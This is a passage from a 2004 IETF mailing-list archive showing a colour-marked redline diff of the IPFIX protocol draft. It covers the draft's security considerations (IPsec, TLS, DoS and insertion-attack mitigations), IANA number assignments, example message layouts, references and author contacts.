   If an attacker is in a position to inject false messages into an 
   IPFIX Message stream this will allow them to send forged Flow Data 
   Records, Options Data Records, or Templates.  Forged Templates may 
   impair the Collectors ability to process any further Flow Records.  
   Forged Flow Records would have a direct effect on the application 
   using the Flows, for example a billing system may generate incorrect 
 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 40] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
   billing information.  Forged options may be able to alter the 
   meaning of Flow Records, for example if the sample rate is changed.   
    
   The IPFIX Messages themselves may contain information of value to an 
   attacker, and thus care must be taken to confine their visibility to 
   authorized users.   
    
   IPFIX Messages can be secured using IPsec.  Alternatively if IPFIX 
   <strike><font color=red>runs on top of SCTP or TCP, TLS [TLS] can be used.</font></strike> 
   <strong><font color=green>runs on top of SCTP or TCP, TLS [TLS] can be used. 
    
   When an Information Element containing end-user payload information 
   is exported, it SHOULD be transmitted to the Collecting Process 
   using a means that secures its contents against eavesdropping. 
   Suitable mechanisms include the use of either a direct point-to-
   point connection or the use of an encryption mechanism. It is the 
   responsibility of the Collecting Process to provide a satisfactory 
   degree of securtity for this collected data, including, if 
   necessary, anonymization of any reported data. 
    
 
 
  Claise, et. al            Standard Track                   [Page 45] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
 14.1       IPsec Usage 
    
   To secure messages between the Exporter and the Collector an IPFIX 
   implementation MAY use IPsec.  To ensure interworking between 
   Exporters and Collectors from different vendors, the following IPsec 
   profile MUST be supported.  This profile is derived from [USEIPSEC]. 

 14.1.1  Selectors 
    
   IPFIX runs between manually configured pairs of hosts on the 
   following transport ports (TBD).  The appropriate selector would be 
   Exporter-Collector pairs and port number.   
    
   Note that, if the Exporter is a router, a non-interface ("loopback") 
   address should be used.    

 14.1.2  Mode 
    
   IPsec MUST be run in transport mode.  The AH and ESP MUST be 
   supported by an IPFIX implementation of IPsec.   
    
   The Authentication Header (AH) [RFC2402] MUST be used if 
   authentication is required.  The Security Protocol (ESP) [RFC2406] 
   must be used if there is a threat to the IPFIX Message content, or 
   if that content is confidential.   
    
   Normally in situations where the ESP was required the AH would also 
   be required.  If ESP only is used, the sender's IP address MUST be 
   checked against the IP address asserted in the key management 
   exchange. 




 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 41] 
                   IPFIX Protocol Specification            August 2004</font></strike> 

 14.1.3  Key Management 
    
   In many networks, manual key management will be sufficient, and this 
   reduces the complexity of the Exporter, albeit at a cost of greater 
   configuration complexity.  Manual key management MUST be supported.  
   If a replay attack is considered likely, an automated key management 
   such as IKE [IKE] key management system SHOULD be used.   

 14.1.4  Security Policy 
 
   Connections should be accepted only from the designated peer. 

 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 46] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
 14.1.5  Authentication 
 
   Given the number of IPFIX capable Exporters that are likely to be 
   deployed by large ISPs, there will be circumstances where shared key 
   mechanisms are not adequate.  Where an automated key management 
   system is used, certificate-based IKE SHOULD be supported.    

 14.1.6  Availability 
    
   It is accepted that IPsec will not be universally available in IPFIX 
   Exporters, and that where it is available, there may be issues of 
   throughput, which may itself raise security issues.  In such 
   circumstances the other security measures described in this document 
   provide some threat mitigation.   
    
 14.2       TLS Usage 
     
   The IPFIX Exporter initiating a connection acts as a TLS client 
   according to [TLS], and an IPFIX Collector that accepts a connection 
   acts as a TLS server.  If mutual authentication is required the 
   IPFIX Device acting as TLS server MUST request a certificate from 
   the IPFIX Device acting as TLS client, and the IPFIX Device acting 
   as TLS client MUST be prepared to supply a certificate on request. 
    
 14.3       Protection against DoS attacks 
    
   An attacker may directly mount a DoS attack by generating large 
   amounts of traffic.   If TCP is used for transport, then the Flow to 
   the Collector would back off due to congestion and eventually stall, 
   blinding the IPFIX system.  An attack could then proceed without 
   further observation.  SCTP-PR will have a different pathology under 
 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 42] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
   such an attack.  Stale data at the head of the queue will get 
   flushed giving some visibility of the attack.  In case of UDP, IPFIX 
   would reduce to some sort of sampling, meaning that some forensics 
   may be left.   
    
   To avoid blinding of the IPFIX system some mechanism for service 
   differentiation can be used to prioritize IPFIX traffic over user 
   traffic.  An alternative is to use a dedicated network for the 
   transport of IPFIX Messages.  By sending the IPFIX Messages over a 
   dedicated network, IPFIX Message loss induced by user traffic 
   congestion is minimized.  However an attacker may trigger the 
   generation of excessive IPFIX Messages, and to avoid information 
 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 47] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
   loss during such an attack the IPFIX network must be adequately 
   sized. 
    
 14.4       When IPsec or TLS is not an option 
    
   The use of IPsec or TLS might not be an option because of 
   performance issues. 
    
   Without IPsec or TLS an IPFIX entity has no means to authenticate an 
   IPFIX entity other than the Source IP address.  Useful protection is 
   gained by allocating Exporter and Collector IP addresses from ranges 
   that are excluded from use by user traffic and preventing spoofing 
   attacks by proper ingress filtering.  Where large numbers of 
   Exporters, proxies and Collectors are used in a network, it may be 
   tempting for the administrator to not impose source IP address 
   restrictions but this leaves a proxy or Collector open to the 
   reception of invalid information.  Using an open proxy or Collector 
   is therefore discouraged.   
    
   If IP address spoofing can not be prevented some level of protection 
   against an insertion attack is required.  With a modern 
   implementation of TCP with good ISN randomization [XXX-REFERENCE] or 
   SCTP insertion such attacks are difficult without the ability to 
   snoop the packet Flow [XXX-SCTP-BLIND-SPOOFING-REFERENCE].  UDP is 
   vulnerable to insertion attacks, however, randomization of the IPFIX 
   sequence number might mitigate this problem.  In all these cases, 
   the sequence number space is relatively small giving only limited 
   protection.  Therefore a 64 bit cookie [L2TPv3] SHOULD be included 
   as an element within all messages.   
    

 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 43] 
                   IPFIX Protocol Specification            August 2004</font></strike>   
    
   The use of a dedicated network prevents IPFIX Messages from being 
   inspected by an attacker. 
    
 14.5       Logging an IPFIX Attack 
 
   A Collector may detect problems by tracking the IPFIX sequence 
   number and therefore SHOULD provide a logging mechanism for tracking 
   out of sequence messages.  Such out of sequence messages may not 
   only be caused by network congestion or Exporter/Collector resource 
   exhaustion but also by an attacker injecting false messages.   
    
   Note that an attacker may be able to exploit the behavior of the 
   Collector when it receives an out of sequence message.  For example 

 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 48] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
   a Collector that simply reset the expected sequence number upon 
   receipt of a later message would easily be temporarily blinded by 
   deliberately injecting messages with a much larger sequence number.   
    
   [EDITOR NOTE: the security section may need be adapted to the 
   revised transport section]   
    
 15.      IANA Considerations 
    
   <strong><font color=green>The IPFIX Protocol, as set out in this document, has two sets of 
   assigned numbers.  Considerations for assigning them are discussed 
   in this section, using the example policies as set out in the 
   "Guidelines for</font></strong> IANA <strike><font color=red>will need</font></strike> <strong><font color=green>Considerations" document IANA-RFC [RFC2434]. 
    
 15.1       Numbers used in the Protocol 
    
   IPFIX Messages use two fields with assigned values.  These are the 
   IPFIX Version Number, indicating which version of the IPFIX Protocol 
   was used</font></strong> to <strong><font color=green>export an IPFIX Message, and the IPFIX Set ID, 
   indicating the type for each</font></strong> set <strike><font color=red>up</font></strike> <strong><font color=green>of information within an IPFIX 
   Message. 
    
   Changes in either IPFIX Version Number or IPFIX Set ID assignments 
   require an IETF Consensus, i.e. they are to be made via RFCs 
   approved by the IESG. 
    
 15.2       Numbers used in the Information Model 
    
   Fields of the IPFIX protocol carry information about traffic 
   measurement. They are modeled as elements of the IPFIX information 
   model [IPFIX-INFO]. Each Information Element describes a field which 
   may appear in an IPFIX Message. Within an IPFIX Message the field 
   type is indicated by its Field Type. 
    
   New assignments for IPFIX Field Types will be administered by IANA, 
   on First Come First Serve basis [RFC 2434] , subject to Expert 
   Review [RFC 2434], i.e. review by one of</font></strong> a <strike><font color=red>registry</font></strike> <strong><font color=green>group</font></strong> of <strike><font color=red>Field Types, scope</font></strike> <strong><font color=green>experts 
   designated by an IETF Operations</font></strong> and <strike><font color=red>option 
   codepoints.</font></strike> <strong><font color=green>Management Area Director.</font></strong> The <strike><font color=red>Set ID</font></strike> 
   <strong><font color=green>group of experts must double check the Information Elements 
   definitions for completeness, accuracy and redundancy with already 
   defined Informations Elements. Those experts</font></strong> will <strike><font color=red>not</font></strike> <strong><font color=green>initially</font></strong> be <strike><font color=red>administered by IANA.  
    
   In compiling</font></strike> <strong><font color=green>drawn 
   from</font></strong> the <strike><font color=red>registry</font></strike> <strong><font color=green>Working Group Chairs and document editors</font></strong> of <strong><font color=green>the IPFIX and 
   PSAMP Working Groups. The IANA assignments for IPFIX</font></strong> Field Types <strike><font color=red>IANA must set asside a</font></strike> 

 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 49] 
                   IPFIX Protocol Specification           October 2004 
 
 
   will</font></strong> range <strike><font color=red>value for vendor use.  It is proposed that</font></strike> <strong><font color=green>from 128 to 32767;</font></strong> the <strike><font color=red>range 
   &lt;0..32767&gt; be administered by IANA for IETF defined IEs, and that</font></strike> <strong><font color=green>values below 128 are reserved or 
   assigned already;</font></strong> the <strike><font color=red>range &lt;32768..65535&gt; be</font></strike> <strong><font color=green>values ranging from 32768 to 65535 are</font></strong> 
   allocated for private use by vendors.   
    
   <strike><font color=red>Similarly the scope and option codepoints need to be split between 
   IANA administered and private ranges.</font></strike> 
    
 16.      Examples 
    
   Let's consider the example of an IPFIX Message composed of a  
   Template Set, a Data Set (which contains three Flow Data Records), 
   an Options Template Set and a Data Set (which contains 2 Options 
   Data Records).   
    
   IPFIX Message: 
    
   +--------+---------------------------------------------. . . 

 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 44] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
   |        | +--------------+ +-----------------------+  
   |Message | | Template     | | Data                  |  
   | Header | | Set          | | Set                   |   . . . 
   |        | | (1 Template) | | (3 Flow Data Records) |  
   |        | +--------------+ +-----------------------+  
   +--------+---------------------------------------------. . . 
 
        . . .+-------------------------------------------------+ 
             +------------------+ +--------------------------+ | 
             | Options          | | Data                     | | 
        . . .| Template Set     | | Set                      | | 
             | (1 Template)     | | (2 Options Data Records) | | 
             +------------------+ +--------------------------+ | 
        . . .--------------------------------------------------+ 
    
 16.1       Message Header Example 
    
   The Message Header is composed of: 
    0                   1                   2                   3 
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |     Version = 0x000a          |         Length = 152          | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |                          Export Time                          | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |                       Sequence Number                         | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |                           Source ID                           | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 

 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 50] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
    
 16.2       Template Set Example 
    
   We want to report the following Field Types: 
   - The source IP address (IPv4), so the length is 4 
   - The destination IP address (IPv4), so the length is 4 
   - The next-hop IP address (IPv4), so the length is 4 
   - The number of bytes of the Flow 
   - The number of packets of the Flow 
    
   Therefore, the Template Set will be composed of the following: 
    
    0                   1                   2                   3 
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 

 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 45] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |         Set ID = 2            |      Length = 28 bytes        | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |       Template ID 256         |       Field Count = 5         | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |     IP_SRC_ADDR = 0x0008      |       Field Length = 4        | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |     IP_DST_ADDR = 0x000C      |       Field Length = 4        | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |     IP_NEXT_HOP = 0x000F      |       Field Length = 4        | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |       IN_PKTS = 0x0002        |       Field Length = 4        | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |       IN_BYTES = 0x0001       |       Field Length = 4        | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
    
 16.3       Data Set Example 
 
   In this example, we report the following three Flow Records: 
   Src IP addr. | Dst IP addr.  | Next Hop addr. | Packet | Bytes  
                |               |                | Number | Number 
   ------------------------------------------------------------------ 
   192.168.1.12 | 192.168.2.254 | 192.168.1.1    | 5009   | 5344385 
   192.168.1.27 | 192.168.2.23  | 192.168.1.2    | 748    | 388934 
   192.168.1.56 | 192.168.2.65  | 192.168.1.3    | 5      | 6534 
    
    0                   1                   2                   3 
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 

 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 51] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
   |          Set ID = 256         |          Length = 64          | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |                          192.168.1.12                         | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |                          192.168.2.254                        | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |                          192.168.1.1                          | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |                             5009                              | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |                            5344385                            |  
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |                          192.168.1.27                         | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 46] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
   |                          192.168.2.23                         |  
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |                          192.168.1.2                          | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |                              748                              | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |                             388934                            | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |                          192.168.1.56                         | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |                          192.168.2.65                         | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |                          192.168.1.3                          | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |                               5                               | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |                              6534                             | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
    
   Note that padding is not necessary in this example. 
    
 16.4       Options Template Set Example 
    
   Per line card (the router being composed of two line cards), we want 
   to report the following Field Types: 
      - Total number of IPFIX Messages 
      - Total number of exported Flows  
   Each line card is characterized by an unique Observation Domain, 
   represented by the unique Source ID Information Elements [IPFIX-
 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 52] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
   INFO]. As a consequence, the Scope Field is the Source ID 
   Information Element. 
    
   The format of the Options Template Set is as follows: 
    0                   1                   2                   3 
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |         Set ID = 3            |          Length = 24          | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |       Template ID 257         |    <strike><font color=red>Option Scope Length</font></strike>        <strong><font color=green>Field Count</font></strong> = <strike><font color=red>4</font></strike> <strong><font color=green>3</font></strong>        | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |       <strike><font color=red>Option Length</font></strike>     <strong><font color=green>Scope Field Count</font></strong> = <strike><font color=red>8</font></strike> <strong><font color=green>1</font></strong>     |        Source ID = TBD        | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |   Scope 1 Field Length = 4    |    TOTAL_EXP_PKTS_SENT = 41   | 
 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 47] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |       Field Length = 4        |     TOTAL_FLOWS_EXP = 42      | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |       Field Length = 4        |           Padding             | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
    
 16.5       Data Set with Options Data Records Example 
    
   In this example, we report the following two Options Data Records: 
   Line Card ID             | IPFIX Message   | Exported Flow Records 
   ------------------------------------------------------------------ 
   Line Card 1 (SourceID=1) | 345             | 10201     
   Line Card 2 (SourceID=2) | 690             | 20402 
    
   0                   1                   2                   3  
     0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1  
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
    |      Set ID = 257             |         Length = 20           |  
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
    |                               1                               | 
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
    |             345               |            10201              | 
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
    |                               2                               |  
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
    |             690               |            20402              |  
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
    

 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 53] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
 17.     References 
    
 17.1       Normative References 
    
   [IPFIX-ARCH] Sadasivan, G, Brownlee, N. "Architecture Model for IP 
   Flow Information Export" draft-ietf-ipfix-arch-02.txt", October 2003 
    
   [IPFIX-INFO] Calato, P, Meyer, J, Quittek, J, "Information Model for 
   IP Flow Information Export" draft-ietf-ipfix-info-02, November 2003 
    
   <strike><font color=red>[IPFIX-AS] Zseby, T, Boschi, E, Penno, R, Brownlee, N, Claise, B, 
   "IPFIX Applicability", draft-ietf-ipfix-as-02.txt, July 2004</font></strike> 
    
   [UDP]  Postel, J., "User Datagram Protocol" RFC 768, August 1980 
    

 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 48] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
    
   [TCP]  "TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAM 
   PROTOCOL SPECIFICATION" RFC 793, September 1981 
    
   [RFC1889] Schulzrinne, H., Casner, S., Frederick, R., Jacobson, V., 
   "RTP: A Transport Protocol for Real-Time <strike><font color=red>Applications",</font></strike> <strong><font color=green>Applications ",</font></strong> RFC 1889, 
   January 1996 
    
   <strong><font color=green>[RFC2434] Alvestrand, H. and T. Narten, "Guidelines for Writing an 
   IANA Considerations Section in RFCs", RFC 2434, October 1998.</font></strong> 
    
   [RFC2402] Kent, S., Atkinson, R., "IP Authentication <strike><font color=red>Header",</font></strike> <strong><font color=green>Header ",</font></strong> RFC 
   2402, November 1998  
    
   [RFC2406] Kent, S., Atkinson, R., "IP Encapsulating Security Payload 
   (ESP)", RFC 2406, November 1998  
    
   [RFC2960] Stewart, R. (ed.) "Stream Control Transmission Protocol", 
   RFC 2960, October 2000 
    
   [RFC3758] Stewart, R., Ramalho, M., Xie, Q., Tuexen, M., Conrad, P.  
   "Stream Control Transmission Protocol (SCTP) Partial Reliability 
   Extension", RFC 3758, May 2004 
 
 17.2       Informative References 
 
   [IPFIX-REQ] Quittek, J, Zseby, T, Claise, B, Zander, S,  
   "Requirements for IP Flow Information Export" draft-ietf-ipfix-reqs-
   15.txt, June 2003 
    
   [IPFIX-AS] Zseby, T, Penno, R, Brownlee, N, Claise, B, "IPFIX 
   Applicability", draft-ietf-ipfix-as-01.txt, October 2003      

 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 54] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
              
   [IPFIX-EVAL] Leinen, S, "Evaluation of Candidate Protocols for IP 
   Flow Information Export (IPFIX)", draft-leinen-ipfix-eval-contrib-
   02.txt, January 2003 
    
   [NETFLOW9] Claise, B, et al "Cisco Systems NetFlow Services Export 
   Version 9", draft-claise-netflow-9-07.txt, December 2003 
    
   [PEN] IANA Private Enterprise Numbers registry 
         http://www.iana.org/assignments/enterprise-numbers  
    
   [USEIPSEC] S. Bellovin, Guidelines for Mandating the Use of IPsec,  
              draft-bellovin-useipsec-02.txt, October 2003, work  
              in progress.  

 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 49] 
                   IPFIX Protocol Specification            August 2004</font></strike>  
    
   [IKE]      Harkins, D. and D. Carrel, "The Internet Key Exchange  
              (IKE)", RFC 2409, November 1998. 
    
   [TLS]      Dierks, T. and C. Allen, "The TLS Protocol Version  
              1.0", RFC 2246, January 1999. 
    
   [L2TPv3]   J. Lau et al. Layer Two Tunneling Protocol (Version 3)  
              draft-ietf-l2tpext-l2tp-base-11.txt, October 2003, work  
              in progress.  
    
   [XXX-REFERENCE]  
    
   [XXX-SCTP-BLIND-SPOOFING-REFERENCE] 
 
 18.      Acknowledgments 
    
   We would like to thank the following persons: Juergen Quittek for 
   the coordination job; Nevil Brownlee and Dave Plonka for the 
   thorough reviews; Randall Stewart and Peter Lei for their SCTP 
   expertise;  Martin Djernaes for the first essay on the SCTP section; 
   <strong><font color=green>Simon Leinen for the first essay on the TCP section</font></strong> Sebastian 
   Zander, Jeff Meyer, Maurizio Molina, Carter Bullard, Tal Givoly, and 
   many more, for the technical feedback. 
    
 Authors Addresses 
 
   Benoit Claise 
   Cisco Systems 

 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 55] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
   De Kleetlaan 6a b1 
   1831 Diegem 
   Belgium 
   Phone: +32 2 704 5622 
   E-mail: bclaise@cisco.com 
 
   Stewart Bryant 
   Cisco Systems, Inc. 
   250, Longwater, 
   Green Park, 
   Reading, RG2 6GB, 
   United Kingdom 
   Phone: +44 (0)20 8824-8828             
   Email: stbryant@cisco.com 
    

 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 50] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
    
   Ganesh Sadasivan 
   Cisco Systems, Inc. 
   170 W. Tasman Dr. 
   San Jose, CA 95134 
   USA 
   Phone: +1 (408) 527-0251 
   Email: gsadasiv@cisco.com 
    
   Mark Fullmer 
   OARnet 
   2455 North Star Rd. 
   Columbus, Ohio 43221 
   Phone: +1 (614) 728-8100 
   Email: maf@eng.oar.net 
    
   <strike><font color=red>Reinaldo Penno 
   Nortel Networks 
   2305 Mission College Blvd 
   Santa Clara, CA 95054 
   Phone: +1 408.565.3023 
   Email: rpenno@nortelnetworks.com 
    
   Paul Calato  
   Riverstone Networks, Inc.  
   5200 Great America Parkway  
   Santa Clara, CA 95054  USA  
   Phone:  +1 (603) 557-6913  
   Email: calato@riverstonenet.com</font></strike> 
    
<strong><font color=green>Intellectual Property Statement 
 
The IETF takes no position regarding the validity or scope of any 
Intellectual Property Rights or other rights that might be claimed to 
pertain to the implementation or use of the technology described in 
this document or the extent to which any license under such rights 
might or might not be available; nor does it represent that it has made 
any independent effort to identify any such rights.  Information on the 
procedures with respect to rights in RFC documents can be found in BCP 
78 and BCP 79. 
 
Copies of IPR disclosures made to the IETF Secretariat and any 
assurances of licenses to be made available, or the result of an</font></strong> 
 
 
  Claise, et. al            Standard Track                   [Page <strike><font color=red>51]</font></strike> <strong><font color=green>56] 
                   IPFIX Protocol Specification           October 2004 
 
 
attempt made to obtain a general license or permission for the use of 
such proprietary rights by implementers or users of this specification 
can be obtained from the IETF on-line IPR repository at 
http://www.ietf.org/ipr. 
 
The IETF invites any interested party to bring to its attention any 
copyrights, patents or patent applications, or other proprietary rights 
that may cover technology that may be required to implement this 
standard.  Please address the information to the IETF at ietf-
ipr@ietf.org. 
 
The IETF has been notified of intellectual property rights claimed in 
regard to some or all of the specification contained in this document.  
For more information consult the online list of claimed rights. 
 
 
Disclaimer of Validity 
 
This document and the information contained herein are provided on an 
"AS IS" basis and THE CONTRIBUTOR, THE ORGANIZATION HE/SHE REPRESENTS 
OR IS SPONSORED BY (IF ANY), THE INTERNET SOCIETY AND THE INTERNET 
ENGINEERING TASK FORCE DISCLAIM ALL WARRANTIES, EXPRESS OR IMPLIED, 
INCLUDING BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE 
INFORMATION HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED 
WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. 
 
 
Copyright Statement 
 
Copyright (C) The Internet Society (2004).  This document is subject to 
the rights, licenses and restrictions contained in BCP 78, and except 
as set forth therein, the authors retain all their rights. 













 
 
  Claise, et. al            Standard Track                   [Page 57]</font></strong> 
</pre>

--------------010303010200060504020103--

--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Fri Oct 22 11:35:26 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA14422
	for <ipfix-archive@lists.ietf.org>; Fri, 22 Oct 2004 11:35:26 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CL1Ks-0003w6-00
	for ipfix-list@mil.doit.wisc.edu; Fri, 22 Oct 2004 10:28:10 -0500
Received: from odd-brew.cisco.com ([144.254.15.119] helo=strange-brew.cisco.com)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1CL1Kg-0003uj-00
	for ipfix-protocol@net.doit.wisc.edu; Fri, 22 Oct 2004 10:27:58 -0500
Received: from [192.168.0.1] (ams-clip-vpn-dhcp4370.cisco.com [10.61.81.17])
	by strange-brew.cisco.com (8.11.7p1+Sun/8.8.8) with ESMTP id i9MFRu105438;
